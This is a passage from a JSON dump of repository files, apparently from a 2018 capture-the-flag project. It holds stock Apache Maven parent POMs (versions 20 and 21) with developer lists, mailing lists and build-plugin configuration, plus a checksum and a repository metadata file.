<organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <!--End Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-20</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-20</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-20</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/MPOM/component/12314371</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/hudson/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.4</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <!-- The Maven universe targets Java 1.5 -->\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-compiler-plugin</artifactId>\n              <version>2.3.2</version>\n              <configuration>\n                <source>1.5</source>\n                <target>1.5</target>\n                <encoding>${project.build.sourceEncoding}</encoding>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.7.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <!-- TODO: when upgrading to the next release of PMD, this can be changed to /rulesets/maven.xml -->\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <links>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-classworlds/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n       <!-- we need to attach the descriptor for this pom -->\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/maven-parent-20.pom.sha1",
    "content": "b42cda17fc84bcf8b60edc4fdb7b56719cc02a30"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:21 CST 2018\nmaven-parent-21.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/maven-parent-21.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/maven/ -->\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>10</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>21</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>struberg</id>\n      <name>Mark Struberg</name>\n      <email>struberg@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>bimargulies</id>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>America/New_York</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mauro</id>\n      <name>Mauro Talevi</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas de Loof</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rfscholte</id>\n      <name>Robert Scholte</name>\n      <email>rfscholte@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    \n    <!--End Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-21</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-21</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-21</url>\n  </scm>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/hudson/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- The Maven universe targets Java 1.5 -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          